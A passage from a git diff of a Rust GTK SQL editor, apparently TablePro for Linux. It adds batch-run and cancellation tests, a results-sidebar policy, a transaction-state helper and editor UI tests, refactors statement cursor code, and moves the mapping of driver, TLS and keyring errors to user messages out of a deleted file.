log.entries()); + }; + assert!(message.contains("line 2"), "{message}"); + assert_eq!(texts(&editor).len(), 2, "the unterminated text was not sent"); + } + + #[tokio::test] + async fn stop_cancels_run_token() { + let mut runs = Replies::default(); + runs.always(FakeRun::until_stopped()); + let editor = Arc::new(FakeEditorSession::new(runs)); + let cancel = CancellationToken::new(); + let stopping = { + let cancel = cancel.clone(); + async move { + tokio::task::yield_now().await; + cancel.cancel(); + } + }; + + let (log, ()) = tokio::join!( + run_cancellable( + &editor, + "SELECT pg_sleep(60); SELECT 2", + SqlGrammar::PostgreSql, + &cancel + ), + stopping + ); + + assert!( + matches!(log.entries()[0].kind, EntryKind::Cancelled), + "{:?}", + log.entries() + ); + assert!(matches!(log.entries()[1].kind, EntryKind::NotRun)); + assert_eq!(editor.stopped_runs(), 1); + assert!(log.was_stopped()); + } + + #[tokio::test] + async fn the_last_run_says_where_the_transaction_stands() { + let mut runs = Replies::default(); + runs.always(FakeRun::completed(Vec::new()).leaving(TransactionState::InTransaction)); + let editor = Arc::new(FakeEditorSession::new(runs)); + + let log = run_with(&editor, "BEGIN; UPDATE t SET a = 1", SqlGrammar::PostgreSql).await; + + assert_eq!(log.transaction(), Some(TransactionState::InTransaction)); + } + + #[tokio::test] + async fn a_lost_session_says_the_next_run_reconnects() { + let mut runs = Replies::default(); + runs.always(FakeRun::session_error(DriverError::ConnectionLost { + during: LossPhase::Statement, + })); + let editor = Arc::new(FakeEditorSession::new(runs)); + + let log = run_with(&editor, "SELECT 1", SqlGrammar::PostgreSql).await; + + let EntryKind::Failed { message, .. } = &log.entries()[0].kind else { + panic!("expected a failure: {:?}", log.entries()); + }; + assert!(message.contains("next run"), "{message}"); + assert!(log.lost()); + } + + #[test] + fn batches_know_where_they_start_in_the_buffer() { + let scoped = ScopedText { + text: "SELECT 'tên';\nSELECT oops".to_owned(), + base_char: 50, + }; + + let (batches, _, _) = plan_batches(&scoped, SqlGrammar::PostgreSql, 3); + + assert_eq!(batches[1].text, "SELECT oops"); + assert_eq!(batches[1].error_base, 50 + 14); + } + + #[test] + fn a_timed_out_run_is_a_stop() { + assert!(!continues(Verdict::Stopped, BatchErrorPolicy::ContinueNextBatch)); + let collector = BatchCollector::default(); + let (entries, verdict, _) = collector.finish( + Ok(tablepro_core::RunSummary { + elapsed: Duration::from_secs(30), + end: RunEnd::TimedOut { server_cancelled: true }, + transaction_state: TransactionState::Idle, + }), + EditorSessionState::Ready, + 0, + ); + assert_eq!(verdict, Verdict::Stopped); + assert!(matches!( + entries.as_slice(), + [EntryKind::TimedOut { server_cancelled: true }] + )); + } + + #[test] + fn sql_preview_collapses_whitespace_and_truncates() { + assert_eq!( + sql_preview("SELECT *\n FROM users\n WHERE id = 1"), + "SELECT * FROM users WHERE id = 1" + ); + let long = "SELECT col1, col2, col3, col4, col5, col6, col7, col8, col9 FROM users WHERE id = 1"; + let preview = sql_preview(long); + assert!(preview.ends_with('…')); + assert!(preview.chars().count() <= 61); + } +} diff --git a/linux/crates/app/src/ui/editor/sidebar_policy.rs b/linux/crates/app/src/ui/editor/sidebar_policy.rs new file mode 100644 index 0000000000..31a787264a --- /dev/null +++ b/linux/crates/app/src/ui/editor/sidebar_policy.rs @@ -0,0 +1,74 @@ +/// Whether the results list and its toggle show. +#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)] +pub struct SidebarState { + pub toggle_visible: bool, + pub show_sidebar: bool, +} + +/// One result needs no list, so the list and its toggle appear with +/// the second. While the pane is wide the list opens by itself the +/// moment it has something to choose between; while it is collapsed +/// over the result, opening it is left to the user. +pub fn decide(entries: usize, collapsed: bool, previous: SidebarState) -> SidebarState { + if entries < 2 { + return SidebarState::default(); + } + let show_sidebar = if previous.toggle_visible || collapsed { + previous.show_sidebar + } else { + true + }; + SidebarState { + toggle_visible: true, + show_sidebar, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn sidebar_policy_single_entry_hides_toggle() { + for previous in [ + SidebarState::default(), + SidebarState { + toggle_visible: true, + show_sidebar: true, + }, + ] { + assert_eq!(decide(1, false, previous), SidebarState::default()); + assert_eq!(decide(0, true, previous), SidebarState::default()); + } + } + + #[test] + fn sidebar_policy_two_entries_expanded_shows_list() { + let shown = decide(2, false, SidebarState::default()); + assert_eq!( + shown, + SidebarState { + toggle_visible: true, + show_sidebar: true, + } + ); + + let closed_by_user = SidebarState { + toggle_visible: true, + show_sidebar: false, + }; + assert_eq!( + decide(3, false, closed_by_user), + closed_by_user, + "the list reopened itself" + ); + } + + #[test] + fn a_collapsed_pane_leaves_the_list_to_the_user() { + let state = decide(2, true, SidebarState::default()); + + assert!(state.toggle_visible); + assert!(!state.show_sidebar, "the list covered the result by itself"); + } +} diff --git a/linux/crates/app/src/ui/editor/statement_cursor.rs b/linux/crates/app/src/ui/editor/statement_cursor.rs index 8e6be27b5f..4c634575ad 100644 --- a/linux/crates/app/src/ui/editor/statement_cursor.rs +++ b/linux/crates/app/src/ui/editor/statement_cursor.rs @@ -1,64 +1,24 @@ -use relm4::gtk; -use relm4::gtk::prelude::TextBufferExt; use tablepro_core::sql_syntax::SqlGrammar; -use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan, text_offsets}; +use tablepro_core::sql_syntax::script::{LexicalSettings, ScriptPlan}; -/// The script the buffer holds, read with the engine's own rules. +/// The script the buffer holds, read with the engine's own rules: a +/// dollar-quoted body, a `GO` batch or a procedure between `DELIMITER` +/// lines is one statement, where a split on semicolons would cut it. pub fn plan_for(text: &str, grammar: SqlGrammar) -> ScriptPlan { ScriptPlan::build(text, grammar, LexicalSettings::default_for(grammar)) } -/// The statements a run sends, in order. -/// -/// The plan knows what a statement is on each engine: a dollar-quoted -/// body, a `GO` batch, a procedure between `DELIMITER` lines. Splitting -/// on semicolons instead would cut a PL/pgSQL function in half. -pub fn script_statements(text: &str, grammar: SqlGrammar) -> Vec { - plan_for(text, grammar) - .statements() - .iter() - .map(|statement| statement.text(text).trim().to_owned()) - .filter(|statement| !statement.is_empty()) - .collect() -} - -/// Where the statement under the cursor starts and ends in the buffer. -/// -/// The buffer counts in characters and the plan in bytes, so every -/// mapping between them goes through here: a cursor in a Vietnamese -/// identifier lands mid-character otherwise. -pub fn statement_bounds_at( - buffer: >k::TextBuffer, - plan: &ScriptPlan, - text: &str, - cursor_char: usize, -) -> Option<(gtk::TextIter, gtk::TextIter)> { - let byte = text_offsets::char_to_byte(text, cursor_char); - let statement = plan.statement_at(byte)?; - Some(( - iter_for_byte(buffer, text, statement.range.start), - iter_for_byte(buffer, text, statement.range.end), - )) -} - -pub fn iter_for_byte(buffer: >k::TextBuffer, text: &str, byte: usize) -> gtk::TextIter { - let chars = i32::try_from(text_offsets::byte_to_char(text, byte)).unwrap_or(i32::MAX); - buffer.iter_at_offset(chars) -} - #[cfg(test)] mod tests { + use super::super::run_scope::at_cursor; use super::*; fn statement_at(text: &str, cursor_char: usize) -> Option { - let buffer = gtk::TextBuffer::new(None); - buffer.set_text(text); let plan = plan_for(text, SqlGrammar::PostgreSql); - let (start, end) = statement_bounds_at(&buffer, &plan, text, cursor_char)?; - Some(buffer.text(&start, &end, false).to_string().trim().to_owned()) + at_cursor(text, &plan, cursor_char).map(|(scoped, _)| scoped.text) } - #[gtk4::test] + #[test] fn the_cursor_picks_the_statement_it_sits_in() { let sql = "SELECT 1; SELECT 2"; @@ -66,12 +26,12 @@ mod tests { assert_eq!(statement_at(sql, 17).as_deref(), Some("SELECT 2")); } - #[gtk4::test] + #[test] fn a_cursor_past_the_end_picks_the_last_statement() { assert_eq!(statement_at("SELECT 1; SELECT 2", 9999).as_deref(), Some("SELECT 2")); } - #[gtk4::test] + #[test] fn a_semicolon_inside_a_string_is_not_a_boundary() { let sql = "INSERT INTO t VALUES ('a;b'); SELECT 2"; @@ -81,7 +41,7 @@ mod tests { assert!(statement.contains("'a;b'"), "{statement}"); } - #[gtk4::test] + #[test] fn a_cursor_in_a_multibyte_identifier_stays_in_its_statement() { let sql = "SELECT \"tên\" FROM t; SELECT 2"; // Character 9 is inside the quoted identifier, which is three @@ -90,33 +50,4 @@ mod tests { assert!(statement.starts_with("SELECT \"tên\""), "{statement}"); } - - #[test] - fn a_script_splits_into_the_statements_the_engine_sees() { - assert_eq!( - script_statements("SELECT 1; SELECT 2", SqlGrammar::PostgreSql), - vec!["SELECT 1", "SELECT 2"] - ); - assert_eq!( - script_statements("INSERT INTO t VALUES ('a;b'); SELECT 1", SqlGrammar::PostgreSql), - vec!["INSERT INTO t VALUES ('a;b')", "SELECT 1"] - ); - // The comment sits between the statements, so what goes to - // the server is the statement without it. - assert_eq!( - script_statements("SELECT 1 -- comment ; here\n; SELECT 2", SqlGrammar::PostgreSql), - vec!["SELECT 1", "SELECT 2"] - ); - assert_eq!(script_statements("SELECT 1;", SqlGrammar::PostgreSql), vec!["SELECT 1"]); - assert!(script_statements(" \n ", SqlGrammar::PostgreSql).is_empty()); - } - - #[test] - fn a_dollar_quoted_body_is_one_statement() { - let sql = "CREATE FUNCTION f() RETURNS int AS $$ SELECT 1; SELECT 2; $$ LANGUAGE sql"; - - let statements = script_statements(sql, SqlGrammar::PostgreSql); - - assert_eq!(statements.len(), 1, "the function body was cut up: {statements:?}"); - } } diff --git a/linux/crates/app/src/ui/editor/tests.rs b/linux/crates/app/src/ui/editor/tests.rs new file mode 100644 index 0000000000..155f5c6985 --- /dev/null +++ b/linux/crates/app/src/ui/editor/tests.rs @@ -0,0 +1,254 @@ +use std::sync::Arc; +use std::time::Duration; + +use tablepro_core::{DriverError, EditorSession, TransactionState}; +use tablepro_session::Session; +use tablepro_session::fakes::{FakeConnector, FakeCredentialSource}; +use tablepro_session::operation::DefaultDeadlines; +use tablepro_test_support::{ConnectionScript, FakeEditorSession, FakeReply, FakeRun, Replies}; + +use super::*; +use crate::test_support::{MemorySettings, SignalLog, wait_until}; + +const WAIT: Duration = Duration::from_secs(10); + +struct Harness { + editor: SqlEditor, + fake: Arc, + _settings: MemorySettings, + _runtime: crate::runtime::AppRuntime, +} + +fn session_with(fake: Arc, tasks: Tasks) -> Arc { + let mut script = ConnectionScript::default(); + let editor: Arc = fake; + script.open_editor_session.always(FakeReply::ok(editor)); + let request = FakeConnector::request().expect("a request"); + let (pending, _) = FakeConnector::pending_session(request, script); + Session::start( + pending, + tablepro_session::SessionDeps { + connector: Arc::new(FakeConnector::new([])), + credentials: Arc::new(FakeCredentialSource::new()), + deadlines: Arc::new(DefaultDeadlines::new(tablepro_core::LivenessPolicy::DESKTOP)), + tasks, + prompter: None, + }, + ) +} + +fn editor_with(runs: Replies, text: &str) -> Harness { + crate::register_test_resources(); + let runtime = crate::test_support::test_runtime(); + let settings = MemorySettings::new(); + let fake = Arc::new(FakeEditorSession::new(runs)); + let active = ActiveSession::new(); + active.replace(session_with(fake.clone(), runtime.tasks())); + let editor = SqlEditor::new(SqlEditorInit { + schema_buffer: build_schema_buffer(), + initial_query: Some(text.to_owned()), + settings: settings.get().clone(), + history: None, + tasks: runtime.tasks(), + session: active, + hold: Rc::new(tablepro_session::runtime::CountingHold::new()), + close_timeout: Duration::from_secs(5), + }); + Harness { + editor, + fake, + _settings: settings, + _runtime: runtime, + } +} + +fn answering() -> Replies { + let mut runs = Replies::default(); + runs.always(FakeRun::completed(Vec::new())); + runs +} + +fn sent(fake: &FakeEditorSession) -> Vec { + fake.texts().iter().map(|sql| sql.as_str().to_owned()).collect() +} + +fn run_and_wait(harness: &Harness) { + harness.editor.run(); + assert!(harness.editor.is_running(), "the run did not start"); + wait_until(WAIT, || !harness.editor.is_running()).expect("the run to end"); +} + +#[gtk4::test] +fn selected_text_is_the_only_sql_sent() { + let harness = editor_with(answering(), "SELECT 1;\nSELECT 2;\nSELECT 3;"); + let buffer = harness.editor.buffer(); + let start = buffer.iter_at_offset(10); + let end = buffer.iter_at_offset(18); + buffer.select_range(&start, &end); + assert_eq!( + harness.editor.imp().run_button.label().as_deref(), + Some("Run Selection") + ); + + run_and_wait(&harness); + + assert_eq!(sent(&harness.fake), ["SELECT 2"]); +} + +#[gtk4::test] +fn a_script_fills_the_results_list_one_line_per_statement() { + let mut runs = Replies::default(); + runs.when_sql_contains( + "boom", + FakeRun::failed(DriverError::server("relation \"boom\" does not exist")), + ); + runs.always(FakeRun::completed(Vec::new())); + let harness = editor_with(runs, "SELECT 1; SELECT * FROM boom; SELECT 3"); + let states = SignalLog::connect(&harness.editor, "run-state-changed", |values| { + values[1].get::().expect("a flag") + }); + + run_and_wait(&harness); + + let results = &harness.editor.imp().results; + assert_eq!(results.n_entries(), 3); + assert_eq!(results.selected(), Some(1), "the failure is not what shows"); + assert_eq!(sent(&harness.fake), ["SELECT 1", "SELECT * FROM boom"]); + assert_eq!(states.take(), [true, false]); + assert!(harness.editor.imp().run_button.is_sensitive()); +} + +#[gtk4::test] +fn an_open_transaction_marks_the_tab() { + let mut runs = Replies::default(); + runs.always(FakeRun::completed(Vec::new()).leaving(TransactionState::InTransaction)); + let harness = editor_with(runs, "BEGIN; UPDATE t SET a = 1"); + let changes = SignalLog::connect(&harness.editor, "transaction-changed", |values| { + values[1].get::().expect("a flag") + }); + + run_and_wait(&harness); + + assert!(harness.editor.has_open_transaction()); + assert_eq!(changes.take(), [true]); +} + +#[gtk4::test] +fn stop_cancels_the_running_statement() { + let mut runs = Replies::default(); + runs.always(FakeRun::until_stopped()); + let harness = editor_with(runs, "SELECT pg_sleep(60); SELECT 2"); + + harness.editor.run(); + wait_until(WAIT, || !harness.fake.texts().is_empty()).expect("the first statement to start"); + harness.editor.stop(); + wait_until(WAIT, || !harness.editor.is_running()).expect("the run to end"); + + assert_eq!(harness.fake.stopped_runs(), 1); + assert_eq!( + harness.editor.imp().results.n_entries(), + 2, + "the second statement has no line" + ); +} + +#[gtk4::test] +fn replace_query_can_be_undone() { + let harness = editor_with(answering(), "SELECT 1"); + let toasts = SignalLog::connect(&harness.editor, "undoable-toast", |values| { + values[1].get::().expect("a title") + }); + + harness.editor.replace_query("SELECT 2"); + assert_eq!(buffer_text(&harness.editor.buffer()), "SELECT 2"); + assert_eq!(toasts.take(), ["Query replaced"]); + + harness.editor.undo(); + assert_eq!(buffer_text(&harness.editor.buffer()), "SELECT 1"); + + harness.editor.replace_query("SELECT 1"); + assert_eq!(toasts.count(), 0, "replacing a query with itself said something"); +} + +#[gtk4::test] +fn format_keeps_the_old_text_one_undo_away() { + let harness = editor_with(answering(), "select a,b from t where x=1"); + + harness.editor.format(); + let formatted = buffer_text(&harness.editor.buffer()); + assert_ne!(formatted, "select a,b from t where x=1"); + + harness.editor.undo(); + assert_eq!(buffer_text(&harness.editor.buffer()), "select a,b from t where x=1"); +} + +#[gtk4::test] +fn dropped_non_utf8_file_is_rejected() { + let harness = editor_with(answering(), "SELECT 1"); + let root = tempfile::tempdir().expect("tempdir"); + let path = root.path().join("dump.sql"); + std::fs::write(&path, [0xff, 0xfe]).expect("write"); + let toasts = SignalLog::connect(&harness.editor, "toast", |values| { + values[1].get::().expect("a message") + }); + + let editor = harness.editor.clone(); + glib::spawn_future_local(async move { editor.insert_file(gio::File::for_path(path), false).await }); + wait_until(WAIT, || toasts.count() == 1).expect("the refusal"); + + assert_eq!(buffer_text(&harness.editor.buffer()), "SELECT 1"); + assert!(toasts.take()[0].contains("UTF-8")); +} + +#[gtk4::test] +fn a_dropped_file_goes_in_at_the_cursor_as_one_undo_step() { + let harness = editor_with(answering(), "SELECT 1;\n"); + let root = tempfile::tempdir().expect("tempdir"); + let path = root.path().join("more.sql"); + std::fs::write(&path, "SELECT 2;").expect("write"); + let buffer = harness.editor.buffer(); + buffer.place_cursor(&buffer.end_iter()); + + let editor = harness.editor.clone(); + glib::spawn_future_local(async move { editor.insert_file(gio::File::for_path(path), false).await }); + wait_until(WAIT, || buffer_text(&buffer).contains("SELECT 2")).expect("the file"); + + assert_eq!(buffer_text(&buffer), "SELECT 1;\nSELECT 2;"); + harness.editor.undo(); + assert_eq!(buffer_text(&buffer), "SELECT 1;\n"); +} + +#[gtk4::test] +fn closing_the_tab_closes_its_connection() { + let harness = editor_with(answering(), "SELECT 1"); + run_and_wait(&harness); + + harness.editor.shutdown(); + + wait_until(WAIT, || harness.fake.is_closed()).expect("the editor session to close"); +} + +#[gtk4::test] +fn the_icon_buttons_have_accessible_names() { + let harness = editor_with(answering(), "SELECT 1"); + + assert!(gtk4::test_accessible_has_property( + &harness.editor.imp().menu_button.get(), + gtk4::AccessibleProperty::Label + )); + assert!(gtk4::test_accessible_has_property( + harness.editor.imp().source_view.upcast_ref::(), + gtk4::AccessibleProperty::Label + )); +} + +#[test] +fn export_name_slugs_the_statement() { + assert_eq!(export_name_for_query("SELECT * FROM users"), "select-from-users"); + assert_eq!(export_name_for_query(" select id\nfrom t"), "select-id"); +} + +#[test] +fn export_name_falls_back_when_there_is_no_statement() { + assert_eq!(export_name_for_query(" \n "), crate::i18n::gettext("query-results")); +} diff --git a/linux/crates/app/src/ui/editor/transaction_dirty.rs b/linux/crates/app/src/ui/editor/transaction_dirty.rs new file mode 100644 index 0000000000..b99becf925 --- /dev/null +++ b/linux/crates/app/src/ui/editor/transaction_dirty.rs @@ -0,0 +1,54 @@ +use tablepro_core::TransactionState; + +/// Whether closing the tab would throw away work the server holds for +/// it: an open transaction, or one that failed and still needs a +/// rollback. A lost session holds nothing any more. `Unknown` counts +/// once something ran, because the engine cannot say what that left. +pub fn transaction_dirty(lost: bool, state: Option, has_run: bool) -> bool { + if lost { + return false; + } + match state { + Some(TransactionState::InTransaction | TransactionState::Failed) => true, + Some(TransactionState::Unknown) => has_run, + Some(TransactionState::Idle) | None => false, + } +} + +/// The line above the results that says a transaction is still open. +pub fn transaction_label(state: Option) -> Option { + match state { + Some(TransactionState::InTransaction) => Some(crate::i18n::gettext("Transaction open")), + Some(TransactionState::Failed) => Some(crate::i18n::gettext("Transaction failed, roll back to continue")), + Some(TransactionState::Idle | TransactionState::Unknown) | None => None, + } +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn transaction_dirty_cleared_when_lost() { + for state in [TransactionState::InTransaction, TransactionState::Failed] { + assert!(transaction_dirty(false, Some(state), true)); + assert!(!transaction_dirty(true, Some(state), true), "{state:?}"); + } + } + + #[test] + fn transaction_dirty_unknown_needs_a_run() { + assert!(!transaction_dirty(false, Some(TransactionState::Unknown), false)); + assert!(transaction_dirty(false, Some(TransactionState::Unknown), true)); + assert!(!transaction_dirty(false, Some(TransactionState::Idle), true)); + assert!(!transaction_dirty(false, None, true)); + } + + #[test] + fn only_an_open_or_failed_transaction_is_labelled() { + assert!(transaction_label(Some(TransactionState::InTransaction)).is_some()); + assert!(transaction_label(Some(TransactionState::Failed)).is_some()); + assert_eq!(transaction_label(Some(TransactionState::Idle)), None); + assert_eq!(transaction_label(Some(TransactionState::Unknown)), None); + } +} diff --git a/linux/crates/app/src/ui/error_text.rs b/linux/crates/app/src/ui/error_text.rs deleted file mode 100644 index 7fd53d139c..0000000000 --- a/linux/crates/app/src/ui/error_text.rs +++ /dev/null @@ -1,325 +0,0 @@ -#[cfg(test)] -use tablepro_core::sql_dialect::BuildSqlError; -use tablepro_core::{DriverError, ReadOnlyRefusal, TlsFailure, TransportError}; -use tablepro_ssh::russh_tunnel::SshError; - -#[cfg(test)] -pub fn build_sql_message(error: &BuildSqlError) -> String { - match error { - BuildSqlError::NoPrimaryKey => { - crate::i18n::gettext("This table has no primary key. Use the modal Edit dialog instead.") - } - BuildSqlError::NothingToUpdate => crate::i18n::gettext("No changes to save."), - BuildSqlError::LengthMismatch { expected, got } => crate::i18n::gettext_f( - "Internal column count mismatch (expected {expected}, got {got}).", - &[("expected", &expected.to_string()), ("got", &got.to_string())], - ), - } -} - -pub fn ssh_message(error: &SshError) -> String { - match error { - SshError::RequiresOpenSsh { setting } => crate::i18n::gettext_f( - "This connection uses {setting}, which needs a newer TablePro.", - &[("setting", setting)], - ), - other => crate::i18n::gettext_f("SSH tunnel failed: {detail}", &[("detail", &other.to_string())]), - } -} - -pub fn driver_message(error: &DriverError) -> String { - match error { - DriverError::Transport(transport) => transport_message(transport), - DriverError::Auth { diagnostics } => match diagnostics { - Some(diagnostics) => crate::i18n::gettext_f( - "Username or password is wrong. The server said: {detail}", - &[("detail", &diagnostics.message)], - ), - None => crate::i18n::gettext("Username or password is wrong."), - }, - DriverError::IntegratedAuth(detail) => crate::i18n::gettext_f( - "Kerberos login failed: {detail}. Check that klist shows a valid ticket, run kinit if it does not, and make sure the server's SPN matches the host you typed.", - &[("detail", detail)], - ), - DriverError::Tls { failure, detail } => tls_message(*failure, detail), - DriverError::Server(diagnostics) => match diagnostics.sqlstate() { - Some(sqlstate) => crate::i18n::gettext_f( - "Query failed (SQLSTATE {sqlstate}): {message}", - &[("sqlstate", sqlstate), ("message", &diagnostics.message)], - ), - None => crate::i18n::gettext_f("Query failed: {message}", &[("message", &diagnostics.message)]), - }, - DriverError::ReadOnly(ReadOnlyRefusal::ClientGuard) => { - crate::i18n::gettext("This connection is read-only. Reopen it without read-only mode to make changes.") - } - DriverError::ReadOnly(ReadOnlyRefusal::ServerRejected(diagnostics)) => crate::i18n::gettext_f( - "The server refused the write: {message}", - &[("message", &diagnostics.message)], - ), - DriverError::Cancelled => crate::i18n::gettext("Stopped."), - DriverError::Timeout { phase, .. } => { - crate::i18n::gettext_f("Timed out while {phase}.", &[("phase", &phase.to_string())]) - } - DriverError::ConnectionLost { .. } => crate::i18n::gettext("The connection was closed. Try reconnecting."), - DriverError::RolledBack { - statement_index, - source, - } => crate::i18n::gettext_f( - "Save failed at statement {n}: {error}. The transaction was rolled back; no rows were changed.", - &[ - ("n", &(statement_index + 1).to_string()), - ("error", &driver_message(source)), - ], - ), - DriverError::RowGuardFailed { expected, actual, .. } => crate::i18n::gettext_f( - "The save matched {actual} rows where it expected {expected}, so the row is not the one that was loaded. Nothing was changed; reload and try again.", - &[("actual", &actual.to_string()), ("expected", &expected.to_string())], - ), - DriverError::GuardUnsupported { .. } => crate::i18n::gettext( - "This database does not report how many rows a statement changed, so the save cannot be checked. Use a table with a primary key.", - ), - DriverError::CommitOutcomeUnknown { .. } => crate::i18n::gettext( - "The connection was lost after the save was sent, so whether it was applied is not known. Reload to see what the server has.", - ), - DriverError::PartiallyApplied { - applied, - statement_index, - .. - } => crate::i18n::gettext_f( - "{applied} of the save's statements were applied before statement {n} failed, and this database has no transaction to undo them. Reload to see what the server has.", - &[ - ("applied", &applied.to_string()), - ("n", &(statement_index + 1).to_string()), - ], - ), - DriverError::FileNotFound { path } => { - crate::i18n::gettext_f("No database file at {path}.", &[("path", &path.display().to_string())]) - } - DriverError::FileAccessDenied { path } => crate::i18n::gettext_f( - "No permission to open {path}.", - &[("path", &path.display().to_string())], - ), - DriverError::NotADatabase { path } => crate::i18n::gettext_f( - "{path} is not a database file.", - &[("path", &path.display().to_string())], - ), - DriverError::Busy => { - crate::i18n::gettext("The server has no room for another connection right now. Try again shortly.") - } - DriverError::EditorSessionBusy => { - crate::i18n::gettext("This tab is still running a statement. Stop it or wait for it to finish.") - } - DriverError::Decode { column, detail } => crate::i18n::gettext_f( - "Could not read column {column}: {detail}", - &[("column", column), ("detail", detail)], - ), - DriverError::Protocol(detail) => crate::i18n::gettext_f( - "The driver could not read the server's reply: {detail}", - &[("detail", detail)], - ), - DriverError::Unsupported { feature } => { - crate::i18n::gettext_f("This database has no {feature}.", &[("feature", feature)]) - } - // The enum grows with the drivers, and a variant added later - // still has a sentence of its own to show. - other => other.to_string(), - } -} - -fn transport_message(error: &TransportError) -> String { - match error { - TransportError::Refused { endpoint } => crate::i18n::gettext_f( - "{host}:{port} refused the connection. Is the database running?", - &[("host", endpoint.host()), ("port", &endpoint.port().to_string())], - ), - TransportError::NameResolution { host, .. } => { - crate::i18n::gettext_f("Could not look up {host}.", &[("host", host)]) - } - TransportError::Unreachable { endpoint, .. } => crate::i18n::gettext_f( - "Could not reach {host}:{port}.", - &[("host", endpoint.host()), ("port", &endpoint.port().to_string())], - ), - TransportError::Timeout { phase } => { - crate::i18n::gettext_f("Timed out while {phase}.", &[("phase", &phase.to_string())]) - } - other => other.to_string(), - } -} - -/// Each TLS failure has a different next step, which is the whole point -/// of telling them apart. -fn tls_message(failure: TlsFailure, detail: &str) -> String { - match failure { - TlsFailure::UnknownIssuer => crate::i18n::gettext( - "The server's certificate was signed by an authority this machine does not know. Choose a CA certificate for this connection.", - ), - TlsFailure::NameMismatch => crate::i18n::gettext( - "The server's certificate is for a different name. Set the TLS server name to the one on the certificate.", - ), - TlsFailure::Expired => crate::i18n::gettext("The server's certificate has expired."), - TlsFailure::NotYetValid => crate::i18n::gettext("The server's certificate is not valid yet."), - TlsFailure::Revoked => crate::i18n::gettext("The server's certificate was revoked."), - TlsFailure::ServerRefusedTls => crate::i18n::gettext("The server does not accept TLS on this port."), - TlsFailure::ServerRequiresTls => { - crate::i18n::gettext("The server requires TLS. Turn TLS on for this connection.") - } - TlsFailure::CaFileInvalid => crate::i18n::gettext("The chosen CA certificate file could not be read."), - TlsFailure::ClientIdentityInvalid => crate::i18n::gettext("The client certificate or key could not be read."), - _ => crate::i18n::gettext_f("TLS failed: {detail}", &[("detail", detail)]), - } -} - -#[cfg(test)] -mod tests { - use tablepro_core::{ServerCode, ServerDiagnostics}; - - use super::*; - - #[test] - fn build_sql_messages_have_actionable_advice() { - let nopk = build_sql_message(&BuildSqlError::NoPrimaryKey); - assert!(nopk.contains("Edit dialog")); - let nothing = build_sql_message(&BuildSqlError::NothingToUpdate); - assert!(nothing.contains("No changes")); - let mismatch = build_sql_message(&BuildSqlError::LengthMismatch { expected: 3, got: 2 }); - assert!(mismatch.contains("expected 3")); - assert!(mismatch.contains("got 2")); - } - - #[test] - fn driver_messages_include_sqlstate_when_present() { - let with_state = driver_message(&DriverError::reported(ServerDiagnostics::new( - Some(ServerCode::SqlState("23505".to_owned())), - "duplicate key", - ))); - assert!(with_state.contains("23505")); - - let without = driver_message(&DriverError::reported(ServerDiagnostics::new(None, "syntax error"))); - assert!(!without.contains("SQLSTATE")); - assert!(without.contains("syntax error")); - } - - #[test] - fn a_refused_connection_names_the_server_it_tried() { - let endpoint = tablepro_core::NetworkEndpoint::new("db.internal", 5432).expect("an endpoint"); - - let message = driver_message(&DriverError::Transport(TransportError::Refused { endpoint })); - - assert!(message.contains("db.internal:5432"), "{message}"); - } - - #[test] - fn driver_message_for_simple_variants() { - assert!(driver_message(&DriverError::auth(None)).contains("wrong")); - assert!( - driver_message(&DriverError::ConnectionLost { - during: tablepro_core::LossPhase::Statement - }) - .contains("Try reconnecting") - ); - assert!(driver_message(&DriverError::Busy).contains("no room")); - } - - #[test] - fn each_tls_failure_says_what_to_do_next() { - let unknown = driver_message(&DriverError::Tls { - failure: TlsFailure::UnknownIssuer, - detail: "unknown issuer".to_owned(), - }); - assert!(unknown.contains("CA certificate"), "{unknown}"); - - let mismatch = driver_message(&DriverError::Tls { - failure: TlsFailure::NameMismatch, - detail: "not valid for name".to_owned(), - }); - assert!(mismatch.contains("server name"), "{mismatch}"); - } - - #[test] - fn an_unknown_save_outcome_says_to_reload_rather_than_retry() { - let message = driver_message(&DriverError::CommitOutcomeUnknown { - token: None, - source: Box::new(DriverError::ConnectionLost { - during: tablepro_core::LossPhase::Commit, - }), - }); - - assert!(message.contains("not known"), "{message}"); - assert!(message.contains("Reload"), "{message}"); - } - - #[test] - fn integrated_auth_names_the_remedy_and_keeps_the_gssapi_detail() { - let message = driver_message(&DriverError::IntegratedAuth("No Kerberos credentials available".into())); - assert!(message.contains("No Kerberos credentials available")); - assert!(message.contains("kinit")); - assert!(message.contains("SPN")); - } -} - -/// What to tell the user about a keyring failure. Each variant maps to -/// a different next step, so they are not collapsed into one sentence. -pub fn secret_message(error: &tablepro_core::credentials::SecretError) -> String { - use tablepro_core::credentials::SecretError; - - match error { - SecretError::ServiceUnavailable { .. } => crate::i18n::gettext( - "No keyring is running, so saved passwords cannot be read. Start a keyring, or enter the password by hand.", - ), - SecretError::PortalUnavailable { .. } => crate::i18n::gettext( - "The secret portal is unavailable, so saved passwords cannot be read inside the sandbox.", - ), - SecretError::Locked => crate::i18n::gettext("The keyring is locked. Unlock it and try again."), - SecretError::UnlockDismissed => { - crate::i18n::gettext("The keyring stayed locked because the unlock prompt was dismissed.") - } - SecretError::InvalidEncoding => { - crate::i18n::gettext("The stored password is not readable text. Enter it again to replace it.") - } - SecretError::Backend { detail } => { - crate::i18n::gettext_f("The keyring reported: {detail}", &[("detail", detail)]) - } - } -} - -#[cfg(test)] -mod secret_message_tests { - use tablepro_core::credentials::SecretError; - - use super::*; - - #[test] - fn every_secret_error_has_its_own_message() { - let errors = [ - SecretError::ServiceUnavailable { detail: "x".to_owned() }, - SecretError::PortalUnavailable { detail: "x".to_owned() }, - SecretError::Locked, - SecretError::UnlockDismissed, - SecretError::InvalidEncoding, - SecretError::Backend { - detail: "boom".to_owned(), - }, - ]; - - let messages: std::collections::HashSet = errors.iter().map(secret_message).collect(); - - assert_eq!(messages.len(), errors.len(), "two errors share a message"); - for message in &messages { - assert!(!message.is_empty()); - } - } - - #[test] - fn a_backend_error_keeps_its_detail() { - let message = secret_message(&SecretError::Backend { - detail: "org.freedesktop.Secret failed".to_owned(), - }); - - assert!(message.contains("org.freedesktop.Secret failed"), "{message}"); - } - - #[test] - fn a_retryable_error_says_to_try_again() { - assert!(secret_message(&SecretError::Locked).contains("try again")); - } -} diff --git a/linux/crates/app/src/ui/error_text/driver.rs b/linux/crates/app/src/ui/error_text/driver.rs new file mode 100644 index 0000000000..210398ab6f --- /dev/null +++ b/linux/crates/app/src/ui/error_text/driver.rs @@ -0,0 +1,271 @@ 